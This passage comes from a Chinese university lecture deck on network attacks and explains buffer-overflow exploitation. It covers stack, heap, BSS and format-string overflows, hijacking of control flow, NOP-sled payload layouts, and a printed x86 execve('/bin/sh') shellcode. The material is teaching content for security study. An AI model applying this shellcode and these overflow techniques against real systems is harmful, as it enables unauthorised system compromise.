《网络攻击技术ppt课件》由会员分享,可在线阅读,更多相关《网络攻击技术ppt课件(266页珍藏版)》请在金锄头文库上搜索。
1、1华东理工大学计算机科学与工程系第第2章章 网网络攻攻击技技术指点教师指点教师: :杨建国杨建国2021年年8月月10日日2华东理工大学计算机科学与工程系2.1 信息搜集技信息搜集技术2.2 口令攻口令攻击2.3 缓冲区溢出攻冲区溢出攻击2.4 回回绝效力攻效力攻击2.5 web运用平安攻运用平安攻击2.6 恶意代意代码攻攻击2.7 病毒蠕虫与木病毒蠕虫与木马攻攻击第第2章章 网网络攻攻击技技术2.8 网网络欺欺骗攻攻击2.9 网网络钓鱼攻攻击2.10 假音假音讯攻攻击2.11 网网络协议攻攻击2.12 操作系操作系统攻攻击2.13 远程控制攻程控制攻击3华东理工大学计算机科学与工程系2.3
2、缓冲区溢出攻冲区溢出攻击p信息搜集必要性信息搜集必要性p信息搜集的内容信息搜集的内容p信息搜集的方式信息搜集的方式p信息搜集的技信息搜集的技术4华东理工大学计算机科学与工程系缓冲区溢出攻击缓冲区溢出攻击5华东理工大学计算机科学与工程系第7章 缓冲区溢出攻击及防御技术张玉清国家计算机网络入侵防备中心国家计算机网络入侵防备中心6华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术6本章内容安排p7.1 缓冲区溢出概述 p7.2 缓冲区溢出原理 p7.3 缓冲区溢出的过程 p7.4 代码植入技术p7.5 实例:ida溢出破绽攻击p7.6 缓冲区溢出的防御 p7.7 小
3、结 7华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术77.1 缓冲区溢出概述p什么是缓冲区?它是包含一样数据类型实例的一个延续的计算机内存块。是程序运转期间在内存中分配的一个延续的区域,用于保管包括字符数组在内的各种数据类型。p所谓溢出,其实就是所填充的数据超出了原有的缓冲区边境。p两者结合进来,所谓缓冲区溢出,就是向固定长度的缓冲区中写入超出其预告分配长度的内容,呵斥缓冲区中数据的溢出,从而覆盖了缓冲区周围的内存空间。黑客借此精心构造填充数据,导致原有流程的改动,让程序转而执行特殊的代码,最终获取控制权。8华东理工大学计算机科学与工程系2024/9/25
4、网络入侵与防备技术网络入侵与防备技术87.1 缓冲区溢出概述p利用缓冲区溢出破绽进展攻击最早可追溯到1988年Morris蠕虫,它所利用的就是fingerd程序的缓冲区溢出破绽。p1989年,Spafford提交了一份分析报告,描画了VAX机上BSD版Unix的Fingerd的缓冲区溢出程序的技术细节,引起了一部分平安人士对这个研讨领域的注重。p1996年,Aleph One发表了题为“Smashing the stack for fun and profit的文章后,初次详细地引见了Unix/Linux下栈溢出攻击的原理、方法和步骤,提示了缓冲区溢出攻击中的技术细节。p1999年w00w00
5、平安小组的Matt Conover写了基于堆缓冲区溢出专著,对堆溢出的机理进展了探求。9华东理工大学计算机科学与工程系7.1 缓冲区溢出概述pWindows系统中缓冲区溢出的事例更是层出不穷。p2001年“红色代码蠕虫利用微软IIS Web Server中的缓冲区溢出破绽使300 000多台计算机遭到攻击;p2003年1月,Slammer蠕虫迸发,利用的是微软SQL Server 2000中的缺陷;p2004年5月迸发的“振荡波利用了Windows系统的活动目录效力缓冲区溢出破绽;p2005年8月利用Windows即插即用缓冲区溢出破绽的“狙击波被称为历史上最快利用微软破绽进展攻击的恶意代码。
6、p2021年底至2021年的Conficker蠕虫利用的是Windows处置远程RPC恳求时的破绽MS08-067。10华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术107.1 缓冲区溢出概述p目前,利用缓冲区溢出破绽进展的攻击曾经占一切系统攻击总数的80%以上。 p缓冲区溢出攻击之所以日益普遍,其缘由在于各种操作系统和运用软件上存在的缓冲区溢出问题数不胜数,而其带来的影响不容小觑。p对缓冲区溢出破绽攻击,可以导致程序运转失败、系统解体以及重新启动等后果。p更为严重的是,可以利用缓冲区溢出执行非授权指令,甚至获得系统特权,进而进展各种非法操作。p如何防止和
7、检测出利用缓冲区溢出破绽进展的攻击,就成为防御网络入侵以及入侵检测的重点之一。 11华东理工大学计算机科学与工程系7.1 缓冲区溢出概述p与其他的攻击类型相比,缓冲区溢出攻击p不需求太多的先决条件p杀伤力很强p技术性强p缓冲区溢出比其他一些黑客攻击手段更具有破坏力和隐蔽性。这也是利用缓冲区溢出破绽进展攻击日益普遍的缘由。2024/9/25网络入侵与防备技术网络入侵与防备技术1112华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术127.1 缓冲区溢出概述p破坏性:p它极容易使效力程序停顿运转,效力器死机甚至删除效力器上的数据。p隐蔽性:p首先,破绽被发现之前
8、,程序员普通是不会认识到本人的程序存在破绽的现实上,破绽的发现者往往并非编写者,于是疏于监测;p其次,被植入的攻击代码普通都很短,执行时间也非常短,很难在执行过程中被发现,而且其执行并不一定会使系统报告错误,并能够不影响正常程序的运转;13华东理工大学计算机科学与工程系7.1 缓冲区溢出概述p隐蔽性:p第三,由于破绽存在于防火墙内部的主机上,攻击者可以在防火墙内部堂而皇之地获得本来不被允许或没有权限的控制权;p第四,攻击的随机性和不可预测性使得防御变得异常困难,没有攻击时,被攻击程序本身并不会有什么变化,也不会存在任何异常的表现;p最后,缓冲区溢出破绽的普遍存在,针对它的攻击让人防不胜防各种补
9、丁程序也能够存在着这种破绽。14华东理工大学计算机科学与工程系7.2 缓冲区溢出原理p7.2.1 栈溢出p7.2.2 堆溢出p7.2.3 BSS溢出p7.2.4 格式化串溢出15华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术157.2 缓冲区溢出原理p当程序运转时,计算时机在内存区域中开辟一段延续的内存块,包括代码段、数据段和堆栈段三部分。16华东理工大学计算机科学与工程系7.2 缓冲区溢出原理p程序在内存中的存放方式17华东理工大学计算机科学与工程系7.2 缓冲区溢出原理p代码段(.text),也称文本段(Text Segment),存放着程序的机器码和
10、只读数据,可执行指令就是从这里获得的。假设能够,系统会安排好一样程序的多个运转实体共享这些实例代码。这个段在内存中普通被标志为只读,任何对该区的写操作都会导致段错误Segmentation Fault。p数据段,包括已初始化的数据段(.data)和未初始化的数据段.bss,前者用来存放保管全局的和静态的已初始化变量,后者用来保管全局的和静态的未初始化变量。数据段在编译时分配。 18华东理工大学计算机科学与工程系7.2 缓冲区溢出原理p堆栈段分为堆和栈。p堆Heap:位于BSS内存段的上边,用来存储程序运转时分配的变量。p堆的大小并不固定,可动态扩张或缩减。其分配由malloc()、new()等
11、这类实时内存分配函数来实现。当进程调用malloc等函数分配内存时,新分配的内存就被动态添加到堆上堆被扩张;当利用free等函数释放内存时,被释放的内存从堆中被剔除堆被缩减。p堆的内存释放由运用程序去控制,通常一个new()就要对应一个delete(),假设程序员没有释放掉,那么在程序终了后操作系统会自动回收。19华东理工大学计算机科学与工程系7.2 缓冲区溢出原理p栈Stack是一种用来存储函数调用时的暂时信息的构造,如函数调用所传送的参数、函数的前往地址、函数的部分变量等。p在程序运转时由编译器在需求的时候分配,在不需求的时候自动去除。 p栈的特性: 最后一个放入栈中的物体总是被最先拿出来
12、,这个特性通常称为先进后出(FILO)队列。p栈的根本操作: pPUSH操作:向栈中添加数据,称为压栈,数据将放置在栈顶;pPOP操作:POP操作相反,在栈顶部移去一个元素,并将栈的大小减一,称为弹栈。20华东理工大学计算机科学与工程系堆和栈的区别p分配和管理方式不同p堆是动态分配的,其空间的分配和释放都由程序员控制。p栈由编译器自动管理。栈有两种分配方式:静态分配和动态分配。静态分配由编译器完成,比如部分变量的分配。动态分配由alloca()函数进展分配,但是栈的动态分配和堆是不同的,它的动态分配是由编译器进展释放,无须手工控制。p产生碎片不同p对堆来说,频繁的new/delete或者mal
13、loc/free势必会呵斥内存空间的不延续,呵斥大量的碎片,使程序效率降低。p对栈而言,那么不存在碎片问题,由于栈是先进后出的队列,永远不能够有一个内存块从栈中间弹出。p生长方向不同p堆是向着内存地址添加的方向增长的,从内存的低地址向高地址方向增长。p栈的生长方向与之相反,是向着内存地址减小的方向增长,由内存的高地址向低地址方向增长。21华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术217.2 缓冲区溢出原理p在这里,我们假设如今有一个程序, 它的函数调用顺序如下。 pmain() -; func_1() -; func_2() -; func_3() p
14、即: 主函数main调用函数func_1; 函数func_1调用函p数func_2; 函数func_2调用函数func_3。p其详细构造图如下页图所示。22华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术2223华东理工大学计算机科学与工程系程序在内存中的影像p随着函数调用层数的添加,函数栈帧是一块块地向内存低地址方向延伸的。 p随着进程中函数调用层数的减少,即各函数调用的前往,栈帧会一块块地被遗弃而向内存的高址方向回缩。 p各函数的栈帧大小随着函数的性质的不同而不等,由函数的部分变量的数目决议。p在缓冲区溢出中,我们主要关注数据区和堆栈区。2024/9/2
15、5网络入侵与防备技术网络入侵与防备技术2324华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术24程序所运用的栈p在运用栈时,援用栈帧需求借助两个存放器。p一个是SP(ESP),即栈顶指针,它随着数据入栈出栈而发生变化。p另一个是BP(EBP),即基地址指针,它用于标识栈中一个相对稳定的位置,经过BP,再加上偏移地址,可以方便地援用函数参数以及部分变量。25华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术25程序所运用的栈p函数被调用的时候,栈中的压入情况如下:FuncFuncFuncFunc函数中的部分函数中的部分函数中
16、的部分函数中的部分变变变变量量量量调调用用用用FuncFuncFuncFunc函数前的函数前的函数前的函数前的EBPEBPEBPEBP退出退出退出退出FuncFuncFuncFunc函数后的前往地址函数后的前往地址函数后的前往地址函数后的前往地址传传送送送送给给FuncFuncFuncFunc的的的的实实参参参参内存低地址内存低地址内存低地址内存低地址内存高地址内存高地址内存高地址内存高地址最先压入栈最先压入栈最后压入栈最后压入栈26华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术26程序所运用的栈p在部分变量的下面,是前一个调用函数的EBP,接下来就是前往
17、地址。p假设部分变量发生溢出,很有能够会覆盖掉EBP甚至RET(前往地址),这就是缓冲区溢出攻击的“奥妙所在。27华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术277.2 缓冲区溢出原理p假设在堆栈中压入的数据超越预先给堆栈分配的容量时,就会出现堆栈溢出,从而使得程序运转失败;假设发生溢出的是大型程序还有能够会导致系统解体。 28华东理工大学计算机科学与工程系7.2.1 栈溢出p程序中发生函数调用时,计算机做如下操作:首先把指令存放器EIP它指向当前CPU将要运转的下一条指令的地址中的内容压入栈,作为程序的前往地址下文中用RET表示;之后放入栈的是基址存放
18、器EBP,它指向当前函数栈帧stack frame的底部;然后把当前的栈指针ESP拷贝到EBP,作为新的基地址,最后为本地变量的动态存储分配留出一定空间,并把ESP减去适当的数值。29华东理工大学计算机科学与工程系7.2.1 栈溢出实例p我们来看一段简单程序的执行过程中对栈的操作和溢出的产生过程。p#include pint main()pchar name16;pgets(name);pfor(int i=0;i16&namei;i+)pprintf(“%c,namei);p 30华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术307.2.1 栈溢出实例p
19、编译上述代码,输入hello world!p 结果会输出hello world! p在调用main()函数时,程序对栈的操作是这样的:p先在栈底压入前往地址p接着将栈指针EBP入栈,并把EBP修正为如今的ESPp之后ESP减16,即向上增长16个字节,用来存放name数组31华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术317.2.1 栈溢出实例p如今栈的规划如下图。32华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术327.2.1 栈溢出实例p执行完gets(name)之后,栈中的内容如以下图所示33华东理工大学计算机
20、科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术337.2.1 栈溢出实例p接着执行for循环,逐个打印name数组中的字符,直到碰到0x00字符p最后,从main前往,将ESP添加16以回收name数组占用的空间,此时ESP指向先前保管的EBP值。程序将这个值弹出并赋给EBP,使EBP重新指向main()函数调用者的栈的底部。然后再弹出如今位于栈顶的前往地址RET,赋给EIP,CPU继续执行EIP所指向的命令。 p阐明1:EIP存放器的内容表示将要执行的下一条指令地址。p阐明2:当调用函数时,pCall指令会将前往地址(Call指令下一条指令地址)压入栈pRet指令会把压栈
21、的前往地址弹给EIP34华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术347.2.1 栈溢出实例p假设输入的字符串长度超越16个字节,例如输入:hello world!AAAAAAAA,那么当执行完gets(name)之后,栈的情况如下图。35华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术357.2.1 栈溢出实例p由于输入的字符串太长,name数组包容不下,只好向栈的底部方向继续写A。这些A覆盖了堆栈的老的元素,从上页图可以看出,EBP,Ret 都曾经被A覆盖了。p从main前往时,就必然会把AAAA的ASCII码0
22、x41414141视作前往地址,CPU会试图执行0x41414141处的指令,结果出现难以预料的后果,这样就产生了一次堆栈溢出。p在Windows XP下用VC6.0运转程序,结果如下页图所示。36华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术3637华东理工大学计算机科学与工程系7.2.2 堆溢出p当我们需求较大的缓冲区或在写代码时不知道包含在缓冲区中对象的大小,经常要运用堆。 p堆溢出的任务方式几乎与栈溢出的任务方式完全一样,独一不同的是,堆没有压栈和入栈操作,而是分配和回收内存。pC言语中运用malloc()和free()函数实现内存的动态分配和回收
23、,C+言语运用new()和delete()函数来实现一样的功能。 38华东理工大学计算机科学与工程系7.2.2 堆溢出实例# include # include # include # include # define BUFFER-SIZE 16# define OVERLAYSIZE 8 /* 我们将覆盖buf2 的前OVERLAYSIZE 个字节 */int main()u-long diff ;char * buf1 = (char * )malloc (BUFFER-SIZE) ;char * buf2 = (char * )malloc (BUFFER-SIZE) ;diff =
24、(u-long) buf2 - (u-long) buf1 ;printf (buf1 = %p , buf2 = %p , diff = 0x %x ( %d) bytes n, buf1 , buf2 , diff , diff) ;/* 将buf2 用a填充 */memset (buf2 , a, BUFFER-SIZE - 1) , buf2BUFFER-SIZE - 1 = 0;printf (before overflow: buf2 = %s n, buf2) ;/* 用diff + OVERLAYSIZE 个b填充buf1 */memset (buf1 , b, (u-int)
25、 (diff + OVERLAYSIZE) ) ;printf (after overflow: buf2 = %s n, buf2) ;return 0 ; 39华东理工大学计算机科学与工程系7.2.2 堆溢出实例p运转结果:p / users/ test 41 % . / heap1p buf1 = 0x8049858 , buf2 = 0x8049870 , diff = 0x18 (24) bytesp before overflow: buf2 = aaaaaaaaaaaaaaap after overflow: buf2 = bbbbbbbbaaaaaaap我们看到,buf2的前八
26、个字节被覆盖了,这是由于往buf1中填写的数据超出了它的边境进入了buf2的范围。由于buf2的数据依然在有效的Heap区内,程序依然可以正常终了。 40华东理工大学计算机科学与工程系7.2.2 堆溢出实例p虽然buf1和buf2是相继分配的,但它们并不是紧挨着的,而是有八个字节的间距。这是由于,运用malloc()动态分配内存时,系统向用户前往一个内存地址,实践上在这个地址前面通常还有8字节的内部构造,用来记录分配的块长度、上一个堆的字节数以及一些标志等。这个间距能够随不同的系统环境而不同。buf1溢出后,buf2的前8字节也被改写为bbbbbbbb,buf2内部的部分内容也被修正为b。 4
27、1华东理工大学计算机科学与工程系7.2.2 堆溢出实例p表示图:42华东理工大学计算机科学与工程系7.2.2 堆溢出p堆溢出不如栈溢出流行,缘由在于p比栈溢出难度更大p需求结合其他的技术p对于内存中变量的组织方式有一定的要求2024/9/25网络入侵与防备技术网络入侵与防备技术4243华东理工大学计算机科学与工程系7.2.3 BSS溢出p.bss段存放全局和静态的未初始化变量,其分配比较简单,变量与变量之间是延续存放的,没有保管空间。p下面这样定义的两个字符数组即是位于BSS段:p static char buf116,buf216;p假设事先向buf2中写入16个字符A,之后再往buf1中写
28、入24个B,由于变量之间是延续存放的,静态字符数组buf1溢出后,就会覆盖其相邻区域字符数组buf2的值。利用这一点,攻击者可以经过改写BSS中的指针或函数指针等方式,改动程序原先的执行流程,使指针跳转到特定的内存地址并执行指定操作。 44华东理工大学计算机科学与工程系7.2.4 格式化串溢出p与前面三种溢出不同的是,这种溢出破绽是利用了编程言语本身存在的平安问题。格式化串溢出源自*printf()类函数的参数格式问题如printf、fprintf、sprintf等。pint printf (const char *format, arg1, arg2, );p 它们将根据format的内容%
29、s,%d,%p,%x,%n,将数据格式化后输出。p问题在于:*printf()函数并不能确定数据参数arg1,arg2,终究在什么地方终了,即函数本身不知道参数的个数,而只会根据format中打印格式的数目依次打印堆栈中参数format后面地址的内容。 45华东理工大学计算机科学与工程系7.2.4 格式化串溢出实例/*程序阐明:%#x:按16进制输出,并在前面加上0x%.20d:按10进制输出,输出20位,并在前面补0%n:将显示内容的长度输出到一个变量中去*/# include main()int num= 0x61616161 ;printf (Before : num = %#x n,
30、num) ;printf (%.20d %n n, num, &num) ;printf (After : num = %#x n, num) ; 46华东理工大学计算机科学与工程系7.2.4 格式化串溢出实例p当程序执行第二个printf语句时,参数压栈之后的内存规划如下:47华东理工大学计算机科学与工程系7.2.4 格式化串溢出实例p根据C函数调用商定,参数从右向左依次压栈,所以参数&num比参数num先压入栈中。也就是说,程序中将&num (num的地址)压入栈作为printf()的第三个参数,而运用打印格式%n会将打印总长度保管到对应参数(&num)的地址中去,从而改动了num的值。
31、p整个程序的输出结果为: p Before : num = 0x61616161p 00000000001633771873p After : num = 0x14p变量num的值曾经变成了0x1420。48华东理工大学计算机科学与工程系7.2.4 格式化串溢出实例p假设将第二个printf语句修正为:p printf (%.20d %n n, num) ; p /留意,这里没有压num的地址入栈 p那么运转的结果为:p Before : num= 0x61616161p Segmentation fault (core dumped) p /执行第二个printf()时发生段错误了p缘由:p
32、rintf()将堆栈中main()函数的变量num当作了%n所对应的参数,因此会将0x14保管到地址0x61616161中去,而0x61616161是不能访问的地址,因此系统提示发生段错误。假设可以控制num的内容,那么就意味着可以修正恣意地址当然是允许写入的地址的内容。49华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术497.2.4 格式化串溢出p在实践运用中,假设遇到脆弱的程序,将用户的输入错误地放在格式化串的位置,就会呵斥缓冲区溢出的攻击。p假设攻击者可以事先构造好可以攻击的代码shellcode,假设可以将前往地址覆盖成shellcode的起始地址
33、,当缓冲区溢出发生后,程序就会跳到精心设计好的shellcode处执行,到达攻击的目的。 50华东理工大学计算机科学与工程系7.3 缓冲区溢出攻击的过程p7.3.1 在程序的地址空间安排适当代码p7.3.2 使控制流跳转到攻击代码51华东理工大学计算机科学与工程系7.3 缓冲区溢出攻击的过程p缓冲区溢出攻击的目的在于扰乱某些任务在特殊权限形状下的程序,使攻击者获得程序的控制权,借机提高本人的权限,控制整个主机。p普通来说,攻击者要实现缓冲区溢出攻击,必需完成两个义务,一是在程序的地址空间里安排适当的代码;二是经过适当的初始化存放器和存储器,让程序跳转到安排好的地址空间执行。 52华东理工大学计
34、算机科学与工程系7.3.1 在程序地址空间安排适当代码p这一步骤也可以简称为植入代码的过程。 p假设所需求的代码在被攻击程序中曾经存在了,那么攻击者所要做的只是向代码传送一些参数,然后使程序跳转到目的。p比如攻击代码要求执行“exec(/bin/sh),而在libc库中存在这样的代码“exec(arg),其中,arg是一个指向字符串的指针参数,那么,攻击者只需把传入的参数指针指向字符串“/bin/sh,然后跳转到libc库中的相应的指令序列就OK了。53华东理工大学计算机科学与工程系7.3.1 在程序地址空间安排适当代码p很多时候所需求的代码并不能从被攻击程序中找到,这就得用“植入法来完成了。
35、p构造一个字符串,它包含的数据是可以在被攻击程序的硬件平台上运转的指令序列,在被攻击程序的缓冲区如栈、堆或静态数据区等地方找到足够的空间存放这个字符串。然后再寻觅适当的时机使程序跳转到其所安排的这个地址空间中。 54华东理工大学计算机科学与工程系7.3.2 将控制流转移到攻击代码p缓冲区溢出最关键的步骤就是寻求改动程序执行流程的方法,扰乱程序的正常执行次序,使之跳转到攻击代码。原那么上来讲,攻击时所针对的缓冲区溢出的程序空间可以为恣意空间,但因不同地方程序空间的突破方式和内存空间的定位差别,也就产生了多种转移方式。pFunction Pointers函数指针pActivation Record
36、s激活记录pLongjmp buffers长跳转缓冲区55华东理工大学计算机科学与工程系Function Pointers函数指针p函数指针:void (* foo) ()声明了一个前往值为void 类型的函数指针变量foo。p函数指针可以用来定位恣意地址空间,攻击时只需求在恣意空间里的函数指针临近处找到一个可以溢出的缓冲区,然后用溢出来的数据改动函数指针的值。当程序运用函数指针调用函数时,程序的流程就会指向攻击者定义的指令序列。 56华东理工大学计算机科学与工程系用函数指针控制程序流程图示2024/9/25网络入侵与防备技术网络入侵与防备技术5657华东理工大学计算机科学与工程系Activa
37、tion Records激活记录p当一个函数调用发生时,堆栈中会留驻一个Activation Record,它包含了函数终了时前往的地址。溢出这一记录,使这个前往地址指向攻击代码,当函数调用终了时,程序就会跳转到所设定的地址,而不是原来的地址。p这样的溢出方式比较常见。 58华东理工大学计算机科学与工程系用活动记录控制程序流程图示2024/9/25网络入侵与防备技术网络入侵与防备技术5859华东理工大学计算机科学与工程系Longjmp buffers长跳转缓冲区p在C言语中包含了一个简单的检验/恢复系统,称为setjmp/longjmp,在检验点设定setjmp(buffer),用longjm
38、p(buffer)来恢复检验点。p和函数指针一样,longjmp(buffer)可以跳转到buffer中信息所指向的任何地方。假设攻击者可以修正buffer的内容,运用longjmp(buffer)就可以跳转到攻击代码。p运用这种方法,需求先找到一个可供溢出的缓冲区 60华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术60植入代码和流程控制的综合p常见的缓冲区溢出攻击是溢出字符串综合运用了代码植入和Activation Records改写技术。p攻击者定位在一个可供溢出的部分变量,然后向程序传送一个设计好的长字符串,在引发缓冲区溢出改动Activation
39、Records的同时植入代码。p即用一个长字符串完成代码植入并覆盖函数的前往地址。p表示图见下面。61华东理工大学计算机科学与工程系植入代码和流程控制的综合图示2024/9/25网络入侵与防备技术网络入侵与防备技术6162华东理工大学计算机科学与工程系7.4 代码植入技术p7.4.1 shellcodep7.4.2 前往地址p7.4.3 填充数据p7.4.4 植入代码的构造类型p7.4.5 shellcode运用例如63华东理工大学计算机科学与工程系7.4 代码植入技术p所植入的代码普通由shellcode、前往地址、填充数据这三种元素按照一定的构造和构造类型组成p什么是shellcodep是
40、植入代码的中心组成部分,是一段能完成特殊义务的自包含的二进制代码。p由于它最初是用来生成一个高权限的shell,因此而得名。虽然如今人们曾经远远不满足于生成一个shell,但shellcode的“美名不断延用至今。p攻击者经过巧妙的编写和设置,利用系统的破绽将shellcode送入系统中使其得以执行,从而获取特殊权限的执行环境,或给本人设立有特权的帐户,获得目的机器的控制权。 64华东理工大学计算机科学与工程系7.4.1 shellcodep除了经典的利用exec()系统调用执行/bin/sh获取shell之外,下表列出了Unix/Linux系统中的shellcode经常用到的一些其它系统调用
41、。 65华东理工大学计算机科学与工程系7.4.1 shellcodep在linux中,为了获得一个交互式shell,普通需求执行代码execve(“/bin/sh, “/bin/sh, NULL);p对此代码进展编译后得到机器码。p char shellcode = “xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh;p留意:不同的操作系统、不同的机器硬件产生系统调用的方法和参数传送的方法也不尽一样。6
42、6华东理工大学计算机科学与工程系7.4.2 前往地址p前往地址是指shellcode的入口地址。攻击者假设希望目的程序改动其原来的执行流程,转而执行shellcode,那么必需设法用shellcode的入口地址覆盖某个跳转指令。p由于所植入的代码是被复制到目的机器的缓冲区中,攻击者无法知道其进入到缓冲区后确实切地址。不过,内存的分配是有规律的,如Linux系统,当用户程序运转时,栈是从0xbfffffff开场向内存低端生长的。假设攻击者想经过改写函数前往地址的方式使程序指令发生跳转,那么程序指令跳转后的指向也应该在0xbfffffff附近。p现实上,虽然不同的缓冲区溢出破绽,其植入代码的前往地
43、址都不同,但均处于某个较小的地址区间内。另外,为了提高覆盖函数前往地址的胜利率,往往在植入代码中安排一段由反复的前往地址组成的内容。 67华东理工大学计算机科学与工程系7.4.3 填充数据p由于攻击者不能准确地判别shellcode的入口地址,因此为了提高shellcode的命中率,往往在shellcode的前面安排一定数量的填充数据。p填充数据必需对植入代码的功能完成没有影响,这样只需前往地址指向填充数据中的任何一个位置,均可以确保shellcode顺利执行。p填充数据还可以起到一个作用,就是当植入代码的长度够不着覆盖目的如函数前往地址时,可以经过添加填充数据的数量,使植入代码的前往地址可以
44、覆盖函数前往地址。68华东理工大学计算机科学与工程系7.4.3 填充数据p对于Intel CPU来说,填充数据本质上是一种单字节指令,运用得最多的是空操作指令NOP,其值为0x90,该指令什么也不做,仅跳过一个CPU周期。除此之外,还有其他的单字节指令可以作为填充数据运用,如调整计算结果的AAA和AAS、操作标志位的CLC和CLD等。p在植入代码中,往往安排比较长甚至几百上千的填充数据,而一个有效的指令长度实践最大也不过10字节左右,因此,也可以根据这一特点来判别能否发生了缓冲区溢出攻击。69华东理工大学计算机科学与工程系7.4.4 植入代码的构造类型p所植入的代码是由黑客精心构造的,而由于缓
45、冲区溢出本身的特性,它的构造和构造类型有一定的特性。pNSR方式pRNS方式pAR方式p其中,pS代表shellcode,pR代表前往地址,pN代表填充数据,pA表示环境变量。70华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术70NSR方式71华东理工大学计算机科学与工程系NSR方式p在shellcode的后面安排一定数量的前往地址,在前面安排一定数量的填充数据,这种构造称为NSR型,或前端同步型。p原理是:只需全部的N和S都处于缓冲区内,并且不覆盖RET,而使R正好覆盖存放RET的栈空间,这样只需将R的值设置为指向N区中任一位置,就必然可以胜利地跳转到我
46、们预先编写的shellcode处执行。2024/9/25网络入侵与防备技术网络入侵与防备技术7172华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术72NSR方式p这是一种经典构造,适宜于溢出缓冲区较大、足够放下我们的shellcode的情况。p这是一种非准确定位的方法,N元素越多胜利率越大,其缺陷是缓冲区必需足够大,否那么shellcode放不下或者N元素数量太少都会呵斥失败。73华东理工大学计算机科学与工程系RNS方式2024/9/25网络入侵与防备技术网络入侵与防备技术7374华东理工大学计算机科学与工程系RNS方式p其原理是:只需把整个缓冲区全部用大
47、量的前往地址填满,并且保证会覆盖存放RET的栈空间,再在后面紧接N元素和shellcode,这样就可以很容易地确定前往地址R的值,并在植入代码中进展设置。 p这里填充的R的数目必需可以覆盖ret,R的值必需指向大量N中的任何一个。p这种方法对大的和小的缓冲区都有效。而且RET地址较容易计算。 2024/9/25网络入侵与防备技术网络入侵与防备技术7475华东理工大学计算机科学与工程系AR方式76华东理工大学计算机科学与工程系AR方式p又称环境变量型。这种构造类型不同于NSR型和RNS型,它必需事先将shellcode放置在环境变量中,然后将shellcode的入口地址和填充数据构成植入代码进展
48、溢出攻击。p这种构造类型对于大、小溢出缓冲区都适宜。但由于必需事先将shellcode放置到环境变量中,故其运用遭到了限制,只能用于本地而不能用于远程攻击。 77华东理工大学计算机科学与工程系缓冲区溢出攻击的三步曲p从上面的分析可知,不论哪种类型的缓冲区溢出攻击,普通都存在下面三个步骤:p构造需求执行的代码shellcode,并将其放到目的系统的内存。p获得缓冲区的大小和定位溢出点ret的位置。p控制程序跳转,改动程序流程。p详细如何完成这三个攻击步骤将在实验课中引见。2024/9/25网络入侵与防备技术网络入侵与防备技术7778华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技
49、术网络入侵与防备技术787.4.5 shellcode运用例如下面经过一个例子阐明栈溢出是如何产生的、以及如何利用它来执行精心安排的shellcode:Vul-func (char * buf-src)char buf-dest 16 ;strcpy(buf-dest , buf-src) ;main()int i ;char str256 ;for (i = 0 ; i 256 ; i + + ) str i = a;Vul-func (str); 79华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术797.4.5 shellcode运用例如p显然,数组s
50、tr的大小(256 字节) 远远超越了目的缓冲区buf- dest 的大小(16 字节) ,发生了缓冲区溢出。p调用函数Vul-func 前后,堆栈运用情况如下页图所示。80华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术807.4.5 shellcode运用例如 81华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术817.4.5 shellcode运用例如p从上页图可以看出,Vul-func 函数调用完成后,str数组的内容(256个字母a即0x616161 )曾经覆盖了从地址buf-dest到地址buf-dest +
51、256 内存空间原来一切的内容,包括调用函数Vul-func时保管的EBP和前往地址RET。p这样,函数前往时就前往到地址0x61616161,发生错误。缓冲区溢出使得程序执行的流程发生了变化。82华东理工大学计算机科学与工程系2024/9/25网络入侵与防备技术网络入侵与防备技术827.4.5 shellcode运用例如p假设能在前往地址RET处写入一段精心设计好的攻击代码的首地址,系统就会转去执行攻击代码,从而被攻破。p如要获得一个shell,可以安排执行如下代码:execve(“/bin/sh, “/bin/sh, NULL)83华东理工大学计算机科学与工程系2024/9/25网络入侵与
52、防备技术网络入侵与防备技术837.4.5 shellcode运用例如p将这段代码进展反汇编,就获得了一个交互式shell的shellcode。只需将函数的前往地址RET 覆盖为此shellcode 的首地址即可获得一个shell:pchar shellcode= p“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b p“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd p“x80xe8xdcxffxffxff/bin/sh; 84华东理工大学计算机科学与工程系7.4.5 shellcode运用例如p
